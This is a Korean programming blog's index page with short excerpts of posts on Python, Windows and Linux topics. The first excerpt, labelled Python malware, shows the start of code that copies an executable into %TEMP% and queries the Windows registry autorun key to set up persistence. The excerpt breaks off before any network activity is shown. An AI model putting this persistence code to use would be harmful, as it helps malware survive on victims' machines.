[Python] 파이썬 악성코드
·
IT기술 관련/파이썬_루비 등 언어
출처: http://www.primalsecurity.net/0xc-python-tutorial-python-malware/ import sys, base64, os, socket, subprocess from _winreg import * def autorun(tempdir, fileName, run): # Copy executable to %TEMP%: os.system('copy %s %s'%(fileName, tempdir)) # Queries Windows registry for the autorun key value # Stores the key values in runkey array key = OpenKey(HKEY_LOCAL_MACHINE, run) runkey =[] try: i = 0..
[Python] Python (*.py)를 exe화 하기
·
IT기술 관련/파이썬_루비 등 언어
출처: http://itmir.tistory.com/339 http://shsong97.blogspot.kr/2014/10/py2exe-exe.html python으로 짜여진 프로그램을 exe화할때가 있습니다 예를들면 파이썬이 설치되지 않은 곳에서 실행을 위해서이죠 이때 사용하는 프로그램이 있습니다 py2exe가 그 주인공 인대요 이번에는 그 방법을 알아보겠습니다 먼저 python을 받아주세요 python은 www.python.org에서 받을수 있습니다 python-2.7.5.z01 python-2.7.5.zip 첨부로도 올려두겠습니다 또한 py2exe라는 프로그램도 설치해야 합니다 http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/ 여기서 설치한 p..
[Windows] windows7 , 2008 server event id
·
IT기술 관련/윈도우
https://support.microsoft.com/en-us/kb/977519
[Python] 파이썬2.x Unicode와 UTF-8 인코딩 감잡기
·
IT기술 관련/파이썬_루비 등 언어
출처: http://jonnung.blogspot.kr/2014/07/python2-unicode-utf8.html 파이썬2.x의 기본 인코딩은 ascii 이다. 파이썬 스크립트에서 한글을 사용하게 될 때 파이썬은 ascii 인코딩일 것으로 예상하고 해석하려고 하지만 한글을 ascii로 해석이 불가능 하기 때문에 SyntaxError가 발생 한다. 이 문제를 해결하기 위해 파이썬 파일의 최상단에는 아래와 같은 주석을 추가하면 조금 도움이 된다. ? 1 #-*- coding: utf-8 -*- 이 주석이 있으면 해당 파이썬 스크립트는 utf-8로 인코딩 되어 있다는 것을 미리 알려주는 역할을 한다. 여기서 잠깐 유니코드(unicode)와 utf-8에 대한 설명을 간단하게 하자면 utf-8은 유니코드를 위한..
[Python] [python]os.path.exists() 파일 존재 체크하기
·
IT기술 관련/파이썬_루비 등 언어
#!/usr/bin/python import os if not os.path.exists("./test.txt"): print "test.txt file not exist" if os.path.exists("./test.txt"): print "test.text file exist"
[Python] 반복문 맨 마지막 배열 뽑아내기
·
IT기술 관련/파이썬_루비 등 언어
위 그림과 같이 attachments[-1]를 해주면 된다.
[Python] MySQL 쿼리 값은 정상인데 DB에 데이터 안들어가는 경우
·
IT기술 관련/파이썬_루비 등 언어
db.commit()을 추가해주어야 한다. db.commit()이 없을 경우 오류는 안나지만 DB에 데이터가 안들어 온다 반드시 db.commit() 추가!!
[리눅스] 서비스 등록 및 삭제
·
IT기술 관련/리눅스
출처: http://ezcocoa.com/?p=2376 http://www.ipwork.co.kr/index.php?document_srl=22398&mid=page_private 새로 시작하는 서비스를 등록하기 위해 스크립트 작성과 서비스 등록법을 설명한다. 해당 자료는 askubuntu.com에서 참조하였다. Init 스크립트#!/bin/bash ### BEGIN INIT INFO # Provides: tomcat7 # Required-Start: $network # Required-Stop: $network # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: Start/Stop Tomcat server ### END INIT IN..
[Python] global 에 대한 고찰
·
IT기술 관련/파이썬_루비 등 언어
출처:http://egloos.zum.com/mcchae/v/11025548 파이썬에서도 다른 언어처럼 global 개념이 있지만 약간은 틀리더군요. 다음을 보겠습니다. GV=10 def gTestA(): i = GV j = GV+1 print i + j 위 상태에서 gTestA() 를 수행하면 21 결과를 보여주고 정상 종료 됩니다. 클래스도 보겠습니다. GV=10 class myClass: myGV = GV def __init__(self): self.myGV = 5 def mA(self): i = self.myGV j = myClass.myGV print i + j my = myClass() my.mA() 15 즉, namespace에서 모듈의 global 은 어디서든지 read-only 개념으로 ..
[Python] 파이썬 tail 구현
·
IT기술 관련/파이썬_루비 등 언어
파이썬에서 tail follow를 구현하기 위해 파일을 열고 파일의 커서를 파일의 끝으로 이동한다. 주기적으로 파일의 라인을 읽어서 성공하면 반환하고 실패하면 파일의 커서를 이전 위치로 돌려놓는다. 구체적인 구현은 다음에서 확인할 수 있다. https://github.com/kasun/python-tail